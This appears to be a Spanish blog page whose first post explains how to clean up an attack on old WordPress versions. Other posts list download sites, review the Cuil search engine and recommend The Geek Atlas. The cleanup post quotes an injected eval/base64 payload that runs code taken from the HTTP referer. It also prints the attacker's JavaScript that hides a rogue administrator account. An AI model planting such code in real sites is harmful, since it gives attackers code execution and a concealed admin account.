Acabo de enterarme de un ataque a versiones antiguas de Wordpress, al menos me enteré de versiones < a 2.7.1.

Al parecer fue un ataque con un robot ya que hay varios blogs atacados.

Lo más notorio de este ataque es:

1. Los posts contienen el código ${eval(base64_decode($_SERVER[HTTP_REFERER]))} despues del enlace original.

2. Existe un nuevo usuario desconocido y oculto con privilegios de Administrador (lo cuál es muy grave).

Ayudando a un amigo de forobeta supe como arreglar este problema.

Lo del enlace no es muy grave, solo entras a permalinks en el panel de control de Wordpress y borras el texto que aparece y vuelves a la normalidad tus permalinks.

Lo del administrador oculto si necesita ser muy cuidadosos.

Primero debes revisar los usuarios que tienes desde el último registrado (seguramente es uno de los últimos usuarios registrados). Aparentemente este usuario no tiene correo electrónico, no se sabe pero este usuario se creó directamente sin la petición de su correo.

Si no lo encuentras en tu panel ve a

http://el nombre de tu blog.com/wp-admin/user-edit.php?user_id=737&wp_http_referer=%2Fwp-admin%2Fusers.php%3Frole%3Dsubscriber

y ve bajando de usuario cambiando user_id=737 bajando uno a uno hasta encontrarlo.

Hay un código como:

..

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
	try{
		var t=document.getElementById("user_superuser");
		while(t.nodeName!="TR"){
			t=t.parentNode;
		};
		t.parentNode.removeChild(t);
		var tags = document.getElementsByTagName("H3");
		var s = " shown below";
		for (var i = 0; i < tags.length; i++) {
			var t=tags[i].innerHTML;
			var h=tags[i];
			if(t.indexOf(s)>0){
				s =(parseInt(t)-1)+s;
				h.removeChild(h.firstChild);
				t = document.createTextNode(s);
				h.appendChild(t);
			}
		}
		var arr=document.getElementsByTagName("ul");
		for(var i in arr) if(arr[i].className=="subsubsub"){
			var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
			if(n[1]>0){
				var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

Si lo encontraste eliminalo al usuario, ahora revisa si todavia tienes el problema. En el panel de control ya no debe haber usuarios ocultos y solo el o los administradores conocidos.

Otra forma sería hacer lo mismo pero desde Phpmyadmin.

Ahora cambia tu contraseña de administrador.

Para terminar actualiza tu versión de Wordpress a la última versión.

Comenta como te fue.

Casi todo lo que queremos podemos descargar de internet y acá tengo una lista compilada en Dailybits de los mejores lugares de donde descargar archivos, ya sean de audio, video, libros, imágenes, fuentes, etc.

Audio Libros

Librivox: Una de las más populares páginas para descarga de libros subidos por los miles de colaboradores.

Podiobooks: Acá podrás descargar archivos via rss o descarga directa.

Oculture (Audio & Podcast): Para descargar audio educativo y cultural.

Learn Out Loud: Este es el lugar para hacer descargas de audio o video educativo.

Libros y Documentos

Scribd: Por excelencia el lugar para descargar libros, documentos e información compartida.

Sheet Music Archive: Uno de los lugares más conocidos de descargas de partituras de música clásica.

Computer Books.us: Descarga libros relacionados con la computación.

Tech Books for Free Download: Libros sobre Java, Perl/Phyton y otros lenguajes de programación.

Project Gutenberg: Un muy completo repositorio de libros.

Free eMagazine Download – Una colección de revistas grauitas.

Cliparts

Open Clip Art Library: Un proyecto para crear un lugar para compartir cliparts gratis.

WP Clipart: Ofrece más de 29000 imagenes clipart de dominio público.

Clker:  Descarga cliparts en formato SVG, ODG y PNG.

Clipart.com: La más grande colección de cliparts en varios formatos incluyendo EPS, JPG, PNG y WMF.

Programas

Softpedia:  Contiene 500,000 programas Freeware y Shareware para Windows, Unix/Linux, Mac, Celulares, Juegos y Drivers.

Download.com: Una librería de freeware libres para descarga.

Open Source Mac:  Lo mejor del software libre para Mac OS X.

Free Downloads Center: Un centro para hacer descargas gratuitas de programas.

Tucows: Más de 40,000 programas freeware y shareware.

Archivos Flash

Ffiles: Un gran repositorio de archivos en Flash.

Flash Kit: Ideal para desarrolladores Flash.

Fuentes

Dafont: Fuentes de todo tipo categorizados por autor y popularidad.

1001 Free Fonts: Fuentes TrueType de descarga gratuita tanto para Mac como para PC.

Download Free Fonts: Cientos de fuentes para descargas.

Show Font: Descargas gratuitas de fuentes TrueType para PC y MAC.

FontStruct: Descarga y comparte las fuentes que haces.

Photoshop y Diseño

Deviant Art Photoshop Brushes: Descarga y comparte piceles o brochas de miembros de Deviant Art.

Adobe Market Place and Exchange: Recursos en línea de productos Adobe.

Pixel Chick: Pinceles y brochas de Photoshop cmpatibles con CS2 and CS3.

Vecteezy: Graficos vectorizados gratuitos.

Busheezy: Brochas y patrones Photoshop gratuitos.

Vector 4 Free: Gráficos Vectorizados de Adobe Illustrator AI, EPS, PDF, SVG y Corel Draw CDR.

Get Brushes: Un directorio de brochas y pinceles.

Q Vectors: Imagenes vectorizadas de buena calidad.

Archive 3D: Más de 17,000 modelos gráficos 3d.

Vectormix – Una coleccion de graficos vectoriales.

Efectos de Sonido

Soundsnap: Más de 100, 000 efectos de sonido.

FindSounds: Un bueen buscador de efectos de sonido.

Partners in Rhyme: Ofrece música de películas, series, etc.

Stone Washed: Efestos de sonido en categorías.

Photos e Imágenes

Stock.Xchng: Una gran galería de imágenes de calidad para descargar o compartir.

Free Digital Photos: Cientos de imágenes para compartir o vender.

Morgue File: Imágenes con alta resolución.

123RF –  Imágenes de alta calidad, algunas a la venta.

Utilidades de sistema

Open Drivers: Un servicio gratuito de descarga de drivers.

DLL Files: Una gran base de datos de archivos dll.

Free Codecs: Todo tipo de codecs para descarga. Video codecs, audio codecs, codec packs, codec tools y más.

Diseño Web

Open Source Web Design: Una colección de libre descarga de diseños web.

Free CSS Templates: Plantillas CSS para descarga gratuita.

Template World: Plantillas de diseñadores calificados.

Iconspedia: Iconos gratuitos para descarga.

Free Icons Web: 15000 iconos para descarga solo para uso personal.

1000+ Classic Icons for Free Download: Una gran colección de excelentes iconos para descarga gratuita.

Smashing Magazine’s 40 Professional Icon Sets for Free Download: Una colección de 40 packs increíbles de iconos.

Creía que nadie podría competir con Google pero revisando Technology Review me entere de Cuil, un buscador que realmente me pareció impactante.

Lo apodaron “El asesino de Google” y ya se el porque.

Hace un año fue lanzado Cuil pero el problema surgió cuando sus servidores se cayeron y el buscador presentaba resultados que no eran relevantes a la búsqueda. Bueno, ahora está de regreso y viene recargado.

Este un proyecto iniciado por Tom Costello, un científico informático de Standford, con dos ex trabajadores de Google Anna Patterson y Russell Power.

La característica más interesante que se implementará en Cuil es la búsqueda en redes sociales, es decir si haces la búsqueda de un tema específico, Cuil te presentará algunos usuarios de Facebook u otra red social que tambien le interese el tema.

Las características que puedo resaltar son:

Mapas y líneas de tiempo: Los mapas te presentan temas en un mapa mundial comunicando el contexto y relación en el espacio y las líneas de tiempo te muestra temas relacionados cronológicamente a tu búsqueda.

Exploración por categorías: Puedes ver un panel con una lista de temas relacionados con tu búsqueda.

Sugerencia de navegación: Cuando tipeas una palabra, verás una sugerencia de búsqueda.

Preferencias: Puedes configurar tu búsqueda, hay opciones para contenido para adultos, navegación con ancho de banda corta, idiomas, etc.

Este es un intento más para tratar de competir con Google, la verdad es que la lucha está muy dura.

Visita Cuil.

Uno de los mejores materiales que se podría encontrar en el mercado es The Geek Atlas, 128 lugares donde la ciencia y tecnología revive.

John Graham-Cumming, un programador errante, recopiló en este libro los 128 sitios donde cualquier geek le gustaría estar ya sea por motivos científicos, matemáticos o tecnológicos. Entre los lugares que podría mencionar:

• El Polo Norte Magnético (Canadá).
• Las Islas Galapagos (Ecuador).
• El Puentedel Estrecho Akashi-Kaikyo (Japón).
• Museo Espacial y de Aviación Evergreen (Estados Unidos).
• El Parque Bletchley (Inglaterra).
• El Museo de la Ciencia de Munich (Alemania).
• El Museo del Misil Titan (Estados Unidos).
• Atomium (Belgica).

Además de los mencionados hay 120 lugares más. The Geek Atlas tiene una página web digna de visitar donde podrás poner fotos o videos de estos lugares si tienes la suerte de ir a alguno.

The Geek Atlas ya fue agregado a mi Wish List en Amazon, así que si alguien se anima me puede regalar este libro

Visto en Alt1040.